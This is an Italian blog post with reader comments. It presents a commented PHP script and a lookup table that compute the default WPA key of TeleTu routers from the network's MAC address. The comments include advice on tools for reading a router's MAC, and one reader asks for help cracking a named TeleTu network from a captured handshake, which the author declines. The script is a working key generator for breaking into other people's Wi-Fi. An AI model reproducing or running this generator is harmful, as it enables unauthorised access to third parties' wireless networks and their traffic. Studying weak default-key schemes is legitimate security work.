Mi sono adoperato a studiare la ricerca di swsooue e deinde del forum http://www.wifi-shark.co.cc/forum sui router TeleTu al fine di creare uno script per la generazione della chiave WPA di default.
In questo caso ci serve sapere il MAC Address per arrivare alla WPA e dobbiamo possedere una tabella (che allego qui) dove sono contenuti alcuni valori essenziali per generare la WPA.
Di conseguenza il lettore dovrà ampliare la propria tabella a mano oppure utilizzare la mia app/webapp iWiFiSecure o altri software disponibili in rete
Lo script è commentato, in modo tale il lettore avrà la possibilità non solo di utilizzarlo, ma anche di capirlo, che è la cosa più importante.
<?php
/***************************************************************************
* Script PHP per la verifica di chiavi WPA su reti TeleTu *
* *
* TeleTu for iWiFiSecure *
* by rriky92 – [email protected] – http://www.rriky92.it *
* basato sul lavoro di swsooue e deinde *
* <http://www.wifi-shark.co.cc/forum> *
* *
* This program is free software; you can redistribute it and/or modify *
* it under the terms of the GNU General Public License as published by *
* the Free Software Foundation; either version 2 of the License, or *
* (at your option) any later version. *
* *
* This program is distributed in the hope that it will be useful, *
* but WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *
* GNU General Public License for more details. *
* *
***************************************************************************/
//ricevo indirizzo mac tramite GET
$MAC = $_GET[“mac”];
//Rimuovo eventuali doppi punti e altre cose dal MAC
$string = array(“:”, “-“, “.”, ” “, “,”,);
$mac1 = str_replace($string, “”, $MAC);
//Converto in maiuscole
$mac1 = strtoupper($mac1);
//prelevo prime 6 cifre dal MAC
$mac2 = substr($mac1,0,6);
//prelevo ultime 6 cifre dal MAC
$mac3 = substr($mac1,-6);;
// carica la lista della tabella
$fileData = @file(‘table.txt’);
if ($fileData == false) die(“Non riesco a trovare il file table.txt”);
foreach($fileData as $line_num => $line) {
if($line == ”){
continue;
}
//creo array delle cose saparate dalla virgola nella tabella
$aLine = explode(‘,’ , $line);
//controllo quale riga contenga le prime 6 cifre del mac
if($mac2 == $aLine[0]){
//controllo quale riga tra quelle che soddisfano la richiesta precedente
//contenga il MAC compreso
if ($mac3 > $aLine[1]){
if ($mac3 < $aLine[2]){
//converto in decimali le ultime 6 cifre del MAC e la BASE
$mac3dec = hexdec($mac3);
$aLine4dec = hexdec($aLine[4]);
//eseguo la sottrazione
$sottr = $mac3dec – $aLine4dec;
//eseguo la divisione
$SN2 = $sottr / 2;
//verifico la lunghezza del risultato se = a 7 imposto valore wpa
if (strlen($SN2) > 6){
$SN = $aLine[3].”Y”.$SN2;
}
//verifico la lunghezza del risultato se < 7
if (strlen($SN2) < 7){
//controllo quanti caratteri manco per arrivare a 7
$lung = 7 – strlen($SN2);
//inserisco caratteri rimanenti prendendoli dal SN2
$rest = substr($SN2, 0, $lung);
//Converto quelle cifre come 0
$CONV = array(“1″,”2″,”3″,”4″,”5″,”6″,”7″,”8″,”9”,);
$SNP = str_replace($CONV, “0”, $rest);
//appendo gli 0 ottenuti davanti a SN2
$SN3 = $SNP.$SN2;
}
//controllo che ora siano 7 caratteri
if (strlen($SN3) > 6){
//imposto valore wpa
$SN = $aLine[3].”Y”.$SN3;
}
}
}
}
}
//stampo WPA
echo $SN;
?>
Mentre vi allego la tabella:
00238E,E50000,E5FFFF,15301,E4C0D500238E,E80000,E8FFFF,15301,E7E737002553,8A0000,8AFFFF,15301,8951EB002553,8B0000,8BFFFF,15301,8AA579002553,8D0000,8DFFFF,15301,8C244938229D,160000,16FFFF,15302,1606D7
qui è più chiaro! 🙂
😉
salve ragazzi non riesco a capire quale e il mac address della rete teletu e dove posso vedere??
es: TeleTu_74888B2C6B04
qui il mac address e parte numerico??
Il mac address di una rete in generale non è il nome della rete ma l “indirizzo” del router e puoi vederlo con dei software per il computer… Solitamente ha questo formato 00:00:00:00:00:00
Potrebbe coincidere con il nome della rete e nel tuo caso sarebbe la parte dopo il trattino basso (“_”)
e quali sono questi programmi che posso usare per ricavare il mac address?
Se hai un mac usa KisMac altrimenti con Windows Xirrus Wi-Fi Inspector
grz 🙂 ti ho lasciato un email, per favore mi rispondi su quello?
Certo!
Volevo sapere se potevate aiutarmi a trovare la password di un ruter TeleTu
Questo é il suo nome : TeleTu_842615BD31D3
Questo il suo mac address : 84:26:15:BD:31:D4
Con commonview wifi fi ho catturato il file.cap ma poi con aircrack non ho il dizionario giusto per fare itest… servirebbe un dizionario contenente i diversi tipi di password teletu..
Potete aiutarmi a trovare la password di questo router?
Buona giornata
Purtroppo non posso aiutarla a trovare una password di una rete non sua